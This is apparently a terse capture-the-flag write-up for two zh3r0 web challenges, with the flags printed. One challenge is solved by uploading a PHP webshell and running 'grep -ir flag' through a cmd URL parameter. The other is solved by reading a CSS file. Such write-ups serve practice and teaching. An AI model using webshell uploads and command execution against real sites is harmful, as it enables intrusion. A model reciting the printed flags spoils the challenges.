Comment says get the page

/?page=flag gives us a link to a trailer for upload

/?page=upload gives us a link to upload a file

Upload a webshell:

`http://web.zh3r0.ml:7777/?page=easy-simple-php-webshell&cmd=grep -ir flag ``

zh3r0{h3y_d1d_y0u_upl04d_php_c0rr3ct1y???_84651320}

just go visit the css file at http://web.zh3r0.ml:8080/bg.css to get the flag

flag: zh3r0{y3s_th1s_1s_w4rmup}